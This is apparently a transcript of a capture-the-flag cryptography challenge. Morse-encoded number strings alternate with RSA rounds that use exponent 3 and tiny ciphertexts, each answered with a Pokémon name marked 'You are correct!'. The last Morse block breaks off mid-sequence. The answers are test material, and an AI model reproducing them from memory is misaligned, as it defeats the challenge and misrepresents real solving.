/---.. ..... /.---- .---- ----. /--... ----. /---.. ....- /---.. ----. /..... ..--- /--... ---.. /.---- ----- -.... /-.... ..... /.---- .---- ----. /--... ---.. /.---- ..--- ..--- /---.. ----. /..... ...-- /--... ---.. /.---- ----- -.... /---.. ----. /.---- ..--- ..--- /--... ---.. /.---- ..--- ..--- /-.... ----. /..... .---- /--... ---.. /.---- ----- -.... /---.. ..... /..... ..--- /--... ---.. /.---- ----- -.... /----. ----. /.---- ..--- .---- /--... ---.. /.---- ..--- ..--- /.---- ----- ...-- /.---- ..--- ..--- /--... ----. /---.. ....- /.---- ----- ...-- /....- ---.. /--... ----. /---.. ....- /---.. ..... /..... ----- /--... ----. /-.... ---.. /.---- ----- ...-- /..... ..--- /--... ---.. /.---- ..--- ..--- /--... --... /....- ----. /--... ---.. /-.... ---.. /---.. ..... /..... ----- /--... ---.. /-.... ---.. /--... ...-- /.---- ..--- ..--- /--... --... /-.... ---.. /-.... ..... /.---- .---- ----. /--... ---.. /-.... ---.. /.---- ----- --... /.---- ..--- .---- /--... --... /.---- ..--- ..--- /-.... ..... /.---- ..--- .---- /--... ---.. /.---- ..--- ..--- /--... --... /.---- .---- ----. /--... ---.. /---.. ....- /----. ----. /.---- .---- ----. /--... ---.. /.---- ..--- ..--- /.---- ----- --... /.---- ..--- .---- /--... --... /---.. ....- /.---- ----- ...-- /.---- ..--- .---- /--... --... /---.. ....- /--... --... /.---- ..--- ----- /--... ---.. /---.. ....- /-.... ..... /..... ..--- /--... ---.. /.---- ----- -.... /-.... ..... /.---- ..--- ----- /--... ---.. /---.. ....- /---.. ----. /..... .---- /--... --... /.---- ----- -.... /.---- ----- --... /....- ---.. /--... --... /-.... ---.. /----. ----. /.---- .---- ----. /--... --... /---.. ....- /---.. ..... /....- ---.. /--... ---.. /.---- ..--- ..--- /-.... ..... /....- ---.. /--... ----. /---.. ....- /.---- ----- ...-- /..... ..--- /--... ---.. /---.. ....- /.---- ----- --... /.---- ..--- ----- /--... ---.. /.---- ----- -.... /---.. ..... /..... ..--- /--... ----. /-.... ---.. /.---- ----- ...-- /....- ----. /--... ---.. /.---- ..--- ..--- /----. ----. /..... .---- /--... --... /.---- ..--- ..--- /-.... ..... /..... ..--- /--... ---.. /-.... ---.. /-.... ..... /..... ..--- /--... --... /.---- ..--- ..--- /-.... ----. /....- ----. /--... ---.. /.---- ----- -.... /---.. ----. /.---- ..--- ----- /--... ---.. /.---- ..--- ..--- /--... ...-- /..... ..--- /--... --... /-.... ---.. /-.... ----. /.---- ..--- .---- /--... --... /-.... ---.. /----. ----. /.---- ..--- ..--- /--... ---.. /-.... ---.. /---.. .---- /.---- ..--- ..--- /--... ----. /-.... ---.. /-.... ----. /.---- ..--- ----- /--... --... /-.... ---.. /-.... ..... /.---- .---- ----. /--... --... /---.. ....- /---.. ..... /.---- ..--- ..--- /--... ---.. /---.. ....- /-.... ----. /..... .---- /--... ----. /---.. ....- /-.... ----. /..... ..--- /--... ----. /---.. ....- /--... --... /.---- ..--- ----- /--... ----. /-.... ---.. /--... ...-- /..... ----- /--... --... /-.... ---.. /---.. ..... /..... ----- /--... --... /---.. ....- /---.. .---- /.---- ..--- ..--- /--... ---.. /.---- ----- -.... /.---- ----- ...-- /..... ..--- /--... ---.. /---.. ....- /-.... ----. /.---- ..--- .---- /--... ---.. /.---- ----- -.... /-.... ----. /..... ----- /--... ---.. /.---- ..--- ..--- /--... ...-- /.---- ..--- ..--- /--... ---.. /.---- ----- -.... /----. ----. /..... ----- /--... ---.. /---.. ....- /---.. ----. /.---- ..--- .---- /--... --... /.---- ..--- ..--- /--... ...-- /.---- .---- ----. /--... ---.. /---.. ....- /--... ...-- /.---- ..--- ----- /--... --... /---.. ....- /.---- ----- --... /.---- ..--- ..--- /--... ---.. /-.... ---.. /.---- ----- --... /.---- ..--- ..--- /--... --... /.---- ----- -.... /-.... ..... /....- ---.. /--... ---.. /.---- ..--- ..--- /.---- ----- ...-- /.---- ..--- .---- /--... ---.. /.---- ----- -.... /--... ...-- /.---- ..--- .---- /--... ----. /-.... ---.. /---.. ----. /.---- .---- ----. /--... ----. /-.... ---.. /-.... ..... /.---- ..--- ----- /--... ----. /---.. ....- /-.... ----. /....- ----. /--... --... /.---- ----- -.... /----. ----. /....- ---.. /--... ---.. /-.... ---.. /-.... ----. /..... ----- /--... ----. /-.... ---.. /.---- ----- --... /....- ---.. /--... --... /.---- ----- -.... /---.. ----. /.---- ..--- ..--- /--... ----. /-.... ---.. /--... ...-- /..... ----- /--... ----. /---.. ....- /---.. ----. /.---- .---- ----. /--... ----. /-.... ---.. /---.. ..... /..... .---- /--... ---.. /-.... ---.. /---.. ----. /..... ...-- /--... ----. /---.. ....- /--... --... /....- ---.. /--... --... /.---- ----- -.... /---.. ----. /.---- .---- ----. /--... ---.. /---.. ....- /---.. ..... /....- ----. /--... --... /.---- ----- -.... /---.. ----. /..... ...-- /--... --... /-.... ---.. /---.. ----. /....- ---.. /--... --... /.---- ----- -.... /---.. ..... /.---- ..--- ..--- /--... --... /.---- ..--- ..--- /---.. .---- /....- ---.. /--... --... /---.. ....- /---.. ..... /..... ...-- /--... --... /.---- ..--- ..--- /-.... ..... /....- ----. /--... --... /.---- .---- ----. /.---- .---- ..--- /.---- ----- ---.. /--... ...-- /-.... ---.. /....- ---.. /.---- ----- ...-- /--... --... /.---- .---- ----. /.---- .---- ..--- /.---- ----- -.... /--... ...-- /-.... ---.. /....- ---.. /.---- ----- ...-- /--... ---.. /---.. ....- /.---- ----- --... /.---- ..--- ..--- /--... ---.. /-.... ---.. /.---- ----- --... /....- ----. /--... ---.. /.---- ..--- ..--- /-.... ..... /.---- .---- ----. /--... --... /.---- ..--- ..--- /--... --... /.---- ..--- .---- /--... ---.. /---.. ....- /-.... ..... /..... ...-- /--... --... /.---- ..--- ..--- /-.... ..... /..... .---- /--... --... /.---- ----- -.... /---.. ..... /.---- ..--- ..--- /--... ---.. /-.... ---.. /---.. ----. /....- ----. /--... --... /.---- ..--- ..--- /--... ...-- /....- ----. /--... ---.. /.---- ----- -.... /---.. ..... /.---- ..--- ..--- /--... ---.. /---.. ....- /-.... ----. /..... ...-- /--... ---.. /.---- ----- -.... /.---- ----- ...-- /....- ----. /--... --... /.---- ..--- ..--- /-.... ----. /.---- ..--- .---- /--... --... /-.... ---.. /-.... ..... /.---- .---- ----.
N = 115374460642317426854028423926159578137982117306768255509686007696637176586727839849568887354564230004923027305707921821315086015672940701547049885916588857773084083156617280120734438110001535179189318260561436885126167236765623205211934932047826228608019152744168942638269608574699342605552690642533441593053
e = 3
c = 593495700332509307253465325653519685312000
>> Yamask
You are correct!

What does this mean?
---.. ....- /.---- ----- ..... /-.... ..... /..... --... /--... ...-- /-.... ---.. /.---- ----- ...-- /....- ----. /--... ---.. /---.. ....- /.---- ----- ...-- /....- ---.. /--... ----. /---.. ....- /-.... ..... /.---- ..--- ----- /--... --... /---.. ....- /--... ...-- /..... ----- /--... --... /.---- ..--- ..--- /---.. ..... /....- ---.. /--... ---.. /.---- ----- -.... /---.. ..... /..... ...-- /--... ---.. /---.. ....- /.---- ----- ...-- /..... .---- /--... --... /---.. ....- /.---- ----- --... /..... ...-- /--... ---.. /.---- ..--- ..--- /.---- ----- ...-- /..... ...-- /--... --... /-.... ---.. /-.... ----. /....- ----. /--... --... /.---- ----- -.... /-.... ----. /....- ---.. /--... ----. /-.... ---.. /.---- ----- ...-- /.---- ..--- ----- /--... ---.. /-.... ---.. /-.... ..... /..... ..--- /--... ---.. /---.. ....- /---.. ..... /..... ----- /--... --... /---.. ....- /--... --... /.---- ..--- ..--- /--... ---.. /---.. ....- /.---- ----- ...-- /..... .---- /--... --... /.---- ..--- ..--- /.---- ----- ...-- /.---- ..--- ..--- /--... --... /-.... ---.. /-.... ----. /..... ----- /--... ---.. /.---- ..--- ..--- /-.... ..... /....- ---.. /--... --... /-.... ---.. /.---- ----- ...-- /....- ----. /--... ----. /-.... ---.. /.---- ----- ...-- /.---- .---- ----. /--... --... /.---- ----- -.... /---.. .---- /.---- ..--- ..--- /--... ----. /-.... ---.. /.---- ----- --... /....- ---.. /--... ---.. /.---- ..--- ..--- /--... ...-- /.---- ..--- ----- /--... --... /-.... ---.. /---.. ----. /....- ---.. /--... --... /-.... ---.. /.---- ----- ...-- /.---- ..--- ..--- /--... ----. /-.... ---.. /-.... ..... /..... ----- /--... ---.. /.---- ..--- ..--- /.---- ----- --... /.---- ..--- .---- /--... --... /.---- ----- -.... /.---- ----- ...-- /.---- .---- ----. /--... ---.. /.---- ----- -.... /-.... ..... /..... ...-- /--... ---.. /.---- ..--- ..--- /--... --... /.---- ..--- ..--- /--... ---.. /-.... ---.. /---.. ..... /.---- ..--- ..--- /--... ---.. /.---- ..--- ..--- /--... --... /.---- .---- ----. /--... ---.. /-.... ---.. /----. ----. /.---- ..--- ----- /--... ---.. /.---- ..--- ..--- /----. ----. /..... ----- /--... ----. /-.... ---.. /.---- ----- --... /.---- ..--- ..--- /--... ----. /---.. ....- /-.... ..... /..... ...-- /--... ---.. /.---- ..--- ..--- /.---- ----- --... /.---- ..--- ..--- /--... --... /.---- ----- -.... /-.... ..... /.---- ..--- .---- /--... ---.. /-.... ---.. /----. ----. /..... ..--- /--... ---.. /-.... ---.. /.---- ----- --... /..... .---- /--... ---.. /.---- ----- -.... /--... ...-- /..... ----- /--... ----. /---.. ....- /-.... ----. /....- ---.. /--... --... /-.... ---.. /.---- ----- ...-- /....- ---.. /--... ----. /---.. ....- /--... ...-- /.---- .---- ----. /--... ----. /-.... ---.. /---.. ----. /..... ..--- /--... ----. /---.. ....- /---.. .---- /..... .---- /--... ----. /---.. ....- /--... ...-- /..... ..--- /--... --... /.---- ..--- ..--- /---.. .---- /....- ----. /--... ---.. /-.... ---.. /-.... ----. /.---- ..--- ..--- /--... ---.. /-.... ---.. /-.... ..... /..... ...-- /--... ----. /---.. ....- /.---- ----- ...-- /....- ---.. /--... ----. /-.... ---.. /--... --... /..... .---- /--... ---.. /.---- ..--- ..--- /--... ...-- /..... ----- /--... --... /.---- ..--- ..--- /--... --... /.---- ..--- ..--- /--... --... /.---- ..--- ..--- /.---- ----- ...-- /.---- ..--- .---- /--... --... /---.. ....- /---.. .---- /....- ----. /--... --... /---.. ....- /-.... ..... /.---- .---- ----. /--... --... /-.... ---.. /.---- ----- ...-- /..... ----- /--... --... /.---- ..--- ..--- /----. ----. /.---- ..--- ----- /--... ---.. /.---- ..--- ..--- /---.. .---- /..... ----- /--... --... /.---- ..--- ..--- /--... ...-- /..... ----- /--... ----. /---.. ....- /--... ...-- /..... .---- /--... ---.. /.---- ----- -.... /--... ...-- /....- ----. /--... --... /.---- ----- -.... /-.... ..... /..... ...-- /--... ---.. /.---- ----- -.... /---.. ..... /.---- ..--- ..--- /--... --... /-.... ---.. /-.... ..... /..... ..--- /--... --... /---.. ....- /-.... ..... /.---- .---- ----. /--... ----. /---.. ....- /.---- ----- ...-- /.---- ..--- ----- /--... --... /.---- ----- -.... /----. ----. /....- ---.. /--... ----. /-.... ---.. /---.. ----. /....- ----. /--... --... /-.... ---.. /---.. ----. /.---- ..--- ..--- /--... --... /-.... ---.. /-.... ..... /..... ...-- /--... ----. /---.. ....- /--... ...-- /.---- ..--- ----- /--... --... /---.. ....- /-.... ----. /..... ..--- /--... --... /-.... ---.. /--... ...-- /.---- ..--- ----- /--... ---.. /.---- ----- -.... /----. ----. /..... ...-- /--... --... /-.... ---.. /--... ...-- /....- ---.. /--... ----. /---.. ....- /---.. ..... /.---- .---- ----. /--... ---.. /.---- ----- -.... /.---- ----- --... /..... ..--- /--... ---.. /.---- ..--- ..--- /---.. ..... /.---- ..--- .---- /--... --... /-.... ---.. /.---- ----- --... /.---- ..--- .---- /--... --... /.---- ..--- ..--- /-.... ----. /....- ---.. /--... --... /-.... ---.. /---.. ----. /..... .---- /--... --... /.---- ----- -.... /-.... ..... /..... .---- /--... --... /.---- ..--- ..--- /--... ...-- /.---- .---- ----. /--... --... /---.. ....- /.---- ----- --... /.---- ..--- ..--- /--... --... /-.... ---.. /-.... ..... /.---- .---- ----. /--... --... /.---- ----- -.... /---.. .---- /.---- .---- ----. /--... ----. /---.. ....- /--... --... /.---- .---- ----. /--... ---.. /---.. ....- /---.. ..... /....- ----. /--... --... /---.. ....- /-.... ----. /..... ..--- /--... ---.. /.---- ..--- ..--- /-.... ..... /..... ...-- /--... --... /---.. ....- /--... ...-- /....- ---.. /--... ---.. /.---- ..--- ..--- /---.. ----. /..... ----- /--... --... /.---- ..--- ..--- /----. ----. /.---- ..--- .---- /--... ----. /-.... ---.. /-.... ----. /....- ---.. /--... --... /.---- ----- -.... /--... ...-- /.---- .---- ----. /--... ---.. /.---- ..--- ..--- /----. ----. /..... .---- /--... ---.. /-.... ---.. /---.. ..... /..... ----- /--... ---.. /.---- ..--- ..--- /--... --... /.---- ..--- ..--- /--... ----. /-.... ---.. /.---- ----- ...-- /.---- ..--- ..--- /--... ----. /-.... ---.. /---.. .---- /.---- ..--- ----- /-.... --... /.---- ----- ----. /---.. ..... /.---- ----- ...-- /---.. ----- /---.. ...-- /-.... ..... /.---- ..--- ..--- /-.... --... /.---- ----- ----. /--... --... /.---- ----- ...-- /---.. ----- /---.. ...-- /-.... ..... /.---- ..--- ..--- /--... ----. /-.... ---.. /.---- ----- --... /..... ..--- /--... ----. /---.. ....- /---.. ----. /..... ...-- /--... ----. /-.... ---.. /---.. .---- /..... ..--- /--... --... /.---- ----- -.... /----. ----. /..... ...-- /--... --... /.---- ..--- ..--- /.---- ----- ...-- /.---- ..--- ..--- /--... --... /.---- ----- -.... /----. ----. /..... .---- /--... ---.. /.---- ----- -.... /.---- ----- --... /....- ---.. /--... ---.. /---.. ....- /-.... ..... /..... ..--- /--... ----. /-.... ---.. /---.. ..... /..... ----- /--... ---.. /.---- ----- -.... /--... ...-- /..... ----- /--... --... /---.. ....- /---.. ----. /.---- ..--- .---- /--... ---.. /.---- ..--- ..--- /--... ...-- /..... ..--- /--... --... /.---- ..--- ..--- /---.. ..... /.---- ..--- ----- /--... ---.. /-.... ---.. /.---- ----- --... /-.... .----
N = 85584901126354659587199789015214881408556133587383016704085880243894721064083806792280609733453730471776893909793202478497626914084920868947928345413409984837726333382145100086371746326927625209653008100981274865063009921118021679024950698752092314067207320193000240930555118709124766372814220777456733883841
e = 3
c = 389896984827938327769450885662616272835149
>> Oddish
You are correct!

What does this mean?
---.. ....- /.---- ----- ..... /-.... ..... /..... --... /--... ...-- /-.... ---.. /.---- ----- ...-- /..... ----- /--... ----. /---.. ....- /.---- ----- --... /.---- ..--- .---- /--... --... /-.... ---.. /--... --... /.---- ..--- ----- /--... ---.. /.---- ..--- ..--- /--... ...-- /....- ---.. /--... ---.. /.---- ..--- ..--- /---.. .---- /....- ---.. /--... --... /---.. ....- /---.. .---- /....- ----. /--... --... /-.... ---.. /-.... ----. /..... ----- /--... --... /.---- ----- -.... /--... --... /..... ...-- /--... --... /-.... ---.. /---.. ----. /.---- .---- ----. /--... --... /---.. ....- /-.... ..... /..... ..--- /--... --... /---.. ....- /---.. ----. /..... .---- /--... ---.. /-.... ---.. /---.. .---- /.---- ..--- .---- /--... --... /---.. ....- /----. ----. /..... ...-- /--... --... /-.... ---.. /----. ----. /....- ---.. /--... --... /-.... ---.. /---.. ----. /.---- ..--- ----- /--... ---.. /.---- ----- -.... /.---- ----- ...-- /.---- .---- ----. /--... ---.. /-.... ---.. /---.. ----. /....- ----. /--... ----. /-.... ---.. /.---- ----- --... /..... ----- /--... --... /---.. ....- /---.. ..... /..... .---- /--... --... /---.. ....- /-.... ..... /..... .---- /--... ----. /-.... ---.. /----. ----. /....- ----. /--... --... /---.. ....- /---.. .---- /....- ----. /--... ---.. /.---- ..--- ..--- /---.. ..... /....- ----. /--... --... /-.... ---.. /--... ...-- /.---- ..--- ----- /--... ---.. /---.. ....- /---.. ----. /.---- .---- ----. /--... --... /.---- ----- -.... /----. ----. /....- ----. /--... ---.. /---.. ....- /-.... ----. /..... ...-- /--... ---.. /.---- ..--- ..--- /---.. ----. /.---- ..--- ..--- /--... --... /-.... ---.. /--... --... /..... .---- /--... ---.. /-.... ---.. /-.... ----. /..... ..--- /--... --... /---.. ....- /----. ----. /.---- .---- ----. /--... --... /.---- ..--- ..--- /----. ----. /.---- .---- ----. /--... ----. /---.. ....- /---.. ----. /.---- .---- ----. /--... ---.. /.---- ----- -.... /---.. .---- /....- ----. /--... ----. /---.. ....- /.---- ----- ...-- /.---- .---- ----. /--... --... /.---- ----- -.... /-.... ..... /....- ---.. /--... --... /-.... ---.. /-.... ..... /....- ----. /--... --... /---.. ....- /---.. ----. /..... ..--- /--... --... /.---- ..--- ..--- /---.. ----. /....- ----. /--... ----. /-.... ---.. /-.... ..... /.---- .---- ----. /--... ---.. /---.. ....- /.---- ----- ...-- /....- ---.. /--... ---.. /-.... ---.. /---.. ----. /.---- ..--- .---- /--... ---.. /-.... ---.. /---.. ..... /..... .---- /--... ----. /---.. ....- /---.. ----. /.---- .---- ----. /--... --... /---.. ....- /--... ...-- /....- ---.. /--... --... /---.. ....- /.---- ----- --... /.---- .---- ----. /--... ----. /---.. ....- /-.... ..... /....- ----. /--... --... /---.. ....- /--... ...-- /..... .---- /--... --... /---.. ....- /-.... ----. /..... ----- /--... ---.. /.---- ..--- ..--- /-.... ..... /.---- ..--- ..--- /--... --... /.---- ----- -.... /-.... ----. /..... ----- /--... ---.. /.---- ..--- ..--- /-.... ----. /.---- ..--- ..--- /--... ---.. /-.... ---.. /.---- ----- --... /.---- ..--- ..--- /--... ---.. /---.. ....- /.---- ----- --... /..... ----- /--... --... /-.... ---.. /---.. .---- /.---- ..--- ..--- /--... ----. /---.. ....- /---.. ..... /..... ..--- /--... ---.. /-.... ---.. /---.. ..... /....- ----. /--... ---.. /.---- ..--- ..--- /-.... ----. /..... ...-- /--... ----. /---.. ....- /--... --... /..... ----- /--... ---.. /-.... ---.. /--... --... /..... .---- /--... ---.. /-.... ---.. /--... ...-- /.---- ..--- .---- /--... ---.. /.---- ..--- ..--- /--... ...-- /....- ----. /--... ---.. /-.... ---.. /.---- ----- ...-- /.---- ..--- ----- /--... --... /.---- ----- -.... /----. ----. /.---- ..--- ..--- /--... --... /.---- ..--- ..--- /---.. .---- /.---- ..--- .---- /--... ----. /---.. ....- /-.... ..... /.---- .---- ----. /--... --... /---.. ....- /----. ----. /..... ..--- /--... ---.. /---.. ....- /---.. ----. /....- ---.. /--... ---.. /---.. ....- /--... --... /..... ..--- /--... --... /.---- ----- -.... /---.. ----. /.---- ..--- .---- /--... --... /-.... ---.. /---.. ----. /..... ..--- /--... --... /.---- ..--- ..--- /---.. ..... /.---- ..--- ----- /--... ----. /---.. ....- /----. ----. /..... ...-- /--... --... /---.. ....- /--... ...-- /.---- ..--- ----- /--... ---.. /.---- ----- -.... /---.. ..... /....- ----. /--... --... /.---- ..--- ..--- /-.... ..... /..... ..--- /--... ----. /-.... ---.. /.---- ----- ...-- /..... ...-- /--... ---.. /---.. ....- /.---- ----- ...-- /....- ----. /--... ----. /---.. ....- /---.. ..... /..... ...-- /--... ---.. /-.... ---.. /--... --... /..... ----- /--... --... /.---- ..--- ..--- /--... ...-- /..... .---- /--... ---.. /.---- ----- -.... /--... ...-- /..... ..--- /--... --... /-.... ---.. /----. ----. /....- ----. /--... ---.. /---.. ....- /----. ----. /.---- .---- ----. /--... ----. /---.. ....- /.---- ----- --... /.---- ..--- ..--- /--... ---.. /.---- ----- -.... /.---- ----- ...-- /..... ..--- /--... --... /.---- ----- -.... /--... --... /.---- ..--- ----- /--... ---.. /-.... ---.. /-.... ----. /.---- ..--- ..--- /--... --... /-.... ---.. /.---- ----- --... /.---- ..--- ----- /--... --... /-.... ---.. /---.. ..... /..... ...-- /--... --... /-.... ---.. /--... --... /....- ----. /--... ---.. /.---- ..--- ..--- /.---- ----- ...-- /..... .---- /--... ---.. /-.... ---.. /--... --... /..... .---- /--... ---.. /.---- ----- -.... /---.. ..... /.---- ..--- ..--- /--... ---.. /-.... ---.. /-.... ----. /....- ----. /--... ---.. /---.. ....- /.---- ----- ...-- /....- ----. /--... ----. /-.... ---.. /---.. ..... /.---- ..--- ----- /--... ---.. /-.... ---.. /--... ...-- /.---- ..--- .---- /--... ---.. /---.. ....- /--... ...-- /..... ...-- /--... ----. /---.. ....- /---.. ----. /.---- ..--- ----- /--... --... /.---- ..--- ..--- /.---- ----- ...-- /.---- ..--- ----- /--... --... /.---- ..--- ..--- /-.... ----. /.---- ..--- ----- /--... --... /.---- ..--- ..--- /.---- ----- ...-- /..... ...-- /-.... --... /.---- ----- ----. /---.. ..... /.---- ----- ...-- /---.. ----- /---.. ...-- /-.... ..... /.---- ..--- ..--- /-.... --... /.---- ----- ----. /--... --... /.---- ----- ...-- /---.. ----- /---.. ...-- /-.... ..... /..... ...-- /--... ---.. /---.. ....- /-.... ..... /..... .---- /--... ---.. /---.. ....- /--... ...-- /..... ..--- /--... --... /---.. ....- /--... ...-- /..... .---- /--... ---.. /---.. ....- /----. ----. /.---- ..--- ----- /--... ---.. /---.. ....- /-.... ----. /....- ---.. /--... --... /-.... ---.. /---.. ..... /....- ---.. /--... --... /-.... ---.. /-.... ----. /.---- .---- ----. /--... ---.. /---.. ....- /.---- ----- --... /..... ...-- /--... ---.. /-.... ---.. /---.. .---- /....- ---.. /--... ---.. /-.... ---.. /---.. ..... /..... ...-- /--... ----. /---.. ....- /-.... ..... /.---- ..--- .---- /--... --... /-.... ---.. /--... --... /....- ----. /--... ----. /---.. ....- /-.... ----. /.---- .---- ----. /--... --... /-.... ---.. /-.... ..... /-.... .----
N = 86992031724744145016239060108167442179074061680465896157107875145755021560275519763037418170370960645980204005168365800584462457960124190905127116703216713493596043958455719936437422725481273342900178564538262068351979121655308889585959436327628075570993688231413091059035787437653415585851422529961381311389
e = 3
c = 950752812757151405401059944445990203591000
>> Latios
You are correct!

What does this mean?
---.. ....- /.---- ----- ..... /-.... ..... /..... --... /--... ...-- /-.... ---.. /.---- ----- ...-- /.---- ..--- ----- /--... --... /.---- ----- -.... /---.. ----. /.---- .---- ----. /--... ---.. /-.... ---.. /-.... ----. /.---- ..--- ----- /--... ---.. /.---- ----- -.... /--... ...-- /..... ----- /--... ----. /-.... ---.. /---.. ----. /.---- ..--- .---- /--... ----. /---.. ....- /----. ----. /.---- ..--- ..--- /--... ----. /---.. ....- /.---- ----- ...-- /..... .---- /--... --... /.---- ..--- ..--- /-.... ----. /..... ----- /--... --... /.---- ..--- ..--- /-.... ..... /....- ----. /--... ---.. /---.. ....- /---.. ----. /.---- ..--- ----- /--... ---.. /.---- ..--- ..--- /---.. .---- /.---- ..--- .---- /--... ---.. /-.... ---.. /.---- ----- --... /....- ----. /--... ---.. /.---- ..--- ..--- /---.. ----. /.---- ..--- ----- /--... ---.. /---.. ....- /---.. .---- /....- ---.. /--... ----. /---.. ....- /.---- ----- --... /.---- ..--- ..--- /--... --... /-.... ---.. /-.... ----. /.---- ..--- .---- /--... ---.. /.---- ----- -.... /-.... ..... /.---- .---- ----. /--... ---.. /-.... ---.. /--... --... /..... ...-- /--... ----. /-.... ---.. /---.. ..... /.---- ..--- ..--- /--... --... /.---- ..--- ..--- /----. ----. /..... ...-- /--... ---.. /.---- ----- -.... /---.. ----. /..... ----- /--... --... /.---- ..--- ..--- /--... ...-- /.---- ..--- .---- /--... ----. /-.... ---.. /-.... ..... /.---- .---- ----. /--... ---.. /.---- ..--- ..--- /--... --... /.---- ..--- .---- /--... ----. /-.... ---.. /-.... ----. /..... ..--- /--... ---.. /.---- ----- -.... /---.. ----. /....- ---.. /--... ---.. /-.... ---.. /---.. ..... /.---- ..--- ----- /--... --... /.---- ----- -.... /-.... ..... /..... .---- /--... --... /.---- ..--- ..--- /.---- ----- --... /.---- .---- ----. /--... ---.. /---.. ....- /--... --... /.---- ..--- ..--- /--... ----. /---.. ....- /---.. .---- /..... ----- /--... ---.. /.---- ----- -.... /-.... ..... /..... .---- /--... --... /-.... ---.. /---.. .---- /.---- ..--- ----- /--... ----. /-.... ---.. /--... ...-- /..... ...-- /--... ---.. /.---- ..--- ..--- /---.. ----. /.---- ..--- ..--- /--... ----. /---.. ....- /.---- ----- ...-- /.---- ..--- ..--- /--... --... /-.... ---.. /---.. ----. /..... .---- /--... ---.. /.---- ----- -.... /--... ...-- /.---- .---- ----. /--... ---.. /-.... ---.. /-.... ----. /....- ---.. /--... ----. /---.. ....- /-.... ..... /.---- ..--- ..--- /--... --... /---.. ....- /.---- ----- --... /.---- ..--- ..--- /--... --... /-.... ---.. /---.. .---- /.---- .---- ----. /--... --... /-.... ---.. /.---- ----- ...-- /.---- ..--- .---- /--... --... /-.... ---.. /---.. .---- /..... .---- /--... ---.. /---.. ....- /----. ----. /.---- ..--- ..--- /--... --... /.---- ..--- ..--- /--... ...-- /.---- ..--- .---- /--... ---.. /.---- ----- -.... /----. ----. /....- ---.. /--... --... /.---- ----- -.... /--... ...-- /.---- ..--- ..--- /--... --... /-.... ---.. /----. ----. /.---- ..--- ----- /--... --... /---.. ....- /--... ...-- /..... .---- /--... --... /---.. ....- /--... ...-- /.---- ..--- ..--- /--... --... /-.... ---.. /.---- ----- --... /..... ----- /--... ---.. /---.. ....- /---.. ----. /..... .---- /--... ---.. /---.. ....- /.---- ----- ...-- /.---- ..--- ----- /--... --... /-.... ---.. /----. ----. /..... ..--- /--... ---.. /.---- ----- -.... /---.. .---- /.---- ..--- ----- /--... --... /.---- ----- -.... /--... --... /....- ---.. /--... ---.. /.---- ..--- ..--- /--... ...-- /....- ---.. /--... --... /---.. ....- /-.... ----. /.---- .---- ----. /--... ---.. /-.... ---.. /--... ...-- /..... ..--- /--... --... /-.... ---.. /----. ----. /....- ----. /--... ---.. /---.. ....- /---.. .---- /..... ...-- /--... ----. /---.. ....- /--... --... /..... ..--- /--... ---.. /---.. ....- /.---- ----- ...-- /..... ...-- /--... ---.. /---.. ....- /----. ----. /.---- ..--- ..--- /--... --... /.---- ----- -.... /-.... ----. /..... .---- /--... ---.. /.---- ..--- ..--- /.---- ----- ...-- /..... ...-- /--... ---.. /.---- ..--- ..--- /.---- ----- ...-- /....- ---.. /--... ---.. /---.. ....- /-.... ..... /.---- ..--- .---- /--... --... /.---- ----- -.... /---.. ----. /..... ..--- /--... ----. /-.... ---.. /---.. ..... /..... ...-- /--... ---.. /.---- ..--- ..--- /----. ----. /..... ..--- /--... --... /---.. ....- /--... --... /.---- ..--- .---- /--... ---.. /-.... ---.. /.---- ----- --... /.---- .---- ----. /--... --... /.---- ----- -.... /---.. ----. /....- ----. /--... --... /---.. ....- /-.... ..... /.---- ..--- .---- /--... ---.. /.---- ----- -.... /.---- ----- --... /.---- ..--- .---- /--... ---.. /---.. ....- /--... ...-- /....- ---.. /--... --... /.---- ..--- ..--- /---.. ..... /....- ----. /--... ---.. /.---- ----- -.... /-.... ----. /....- ----. /--... ----. /---.. ....- /.---- ----- ...-- /..... ...-- /--... ---.. /---.. ....- /--... ...-- /.---- .---- ----. /--... --... /.---- ----- -.... /---.. ..... /....- ---.. /--... --... /.---- ----- -.... /----. ----. /..... .---- /--... --... /.---- ----- -.... /--... --... /..... ...-- /--... ---.. /.---- ----- -.... /---.. ..... /.---- ..--- ..--- /--... ----. /---.. ....- /--... ...-- /....- ---.. /--... ----. /---.. ....- /-.... ..... /..... ...-- /--... ---.. /.---- ..--- ..--- /.---- ----- --... /....- ---.. /--... ----. /---.. ....- /-.... ..... /.---- ..--- .---- /--... ----. /---.. ....- /--... --... /.---- .---- ----. /--... ---.. /-.... ---.. /--... --... /..... ...-- /--... --... /---.. ....- /.---- ----- ...-- /..... ...-- /--... --... /---.. ....- /---.. ----. /.---- ..--- ..--- /--... ---.. /---.. ....- /.---- ----- ...-- /..... ...-- /--... --... /.---- ..--- ..--- /----. ----. /.---- .---- ----. /--... ----. /-.... ---.. /.---- ----- ...-- /..... ----- /--... ---.. /.---- ----- -.... /--... --... /..... ...-- /--... ---.. /---.. ....- /----. ----. /....- ----. /--... ----. /-.... ---.. /--... --... /.---- ..--- ..--- /--... --... /---.. ....- /--... ...-- /..... ...-- /--... ---.. /.---- ..--- ..--- /---.. ----. /..... ...-- /--... ----. /-.... ---.. /---.. .---- /.---- ..--- ..--- /-.... --... /.---- ----- ----. /---.. ..... /.---- ----- ...-- /---.. ----- /---.. ...-- /-.... ..... /.---- ..--- ..--- /-.... --... /.---- ----- ----. /--... --... /.---- ----- ...-- /---.. ----- /---.. ...-- /-.... ..... /.---- ..--- .---- /--... --... /.---- ----- -.... /.---- ----- ...-- /..... .---- /--... --... /-.... ---.. /----. ----. /..... ..--- /--... ----. /-.... ---.. /----. ----. /..... ----- /--... --... /-.... ---.. /-.... ----. /.---- ..--- ----- /--... --... /.---- ..--- ..--- /---.. ..... /..... ----- /--... ---.. /.---- ----- -.... /.---- ----- --... /....- ---.. /--... ---.. /.---- ----- -.... /-.... ----. /..... .---- /--... ---.. /---.. ....- /-.... ..... /..... .---- /--... --... /.---- ----- -.... /---.. ..... /..... ----- /--... ---.. /---.. ....- /---.. .---- /..... .---- /--... --... /-.... ---.. /.---- ----- --... /..... ----- /--... ----. /-.... ---.. /-.... ----. /.---- .---- ----. /--... ----. /-.... ---.. /--... --... /.---- .---- ----. /--... --... /---.. ....- /-.... ..... /.---- ..--- ----- /--... --... /.---- ..--- ..--- /--... --... /..... ----- /--... ---.. /-.... ---.. /.---- ----- --... /..... .---- /--... --... /---.. ....- /----. ----. /..... .---- /--... ---.. /.---- ----- -.... /---.. ----. /.---- ..--- .---- /--... ---.. /---.. ....- /--... --... /.---- ..--- ----- /--... ---.. /.---- ..--- 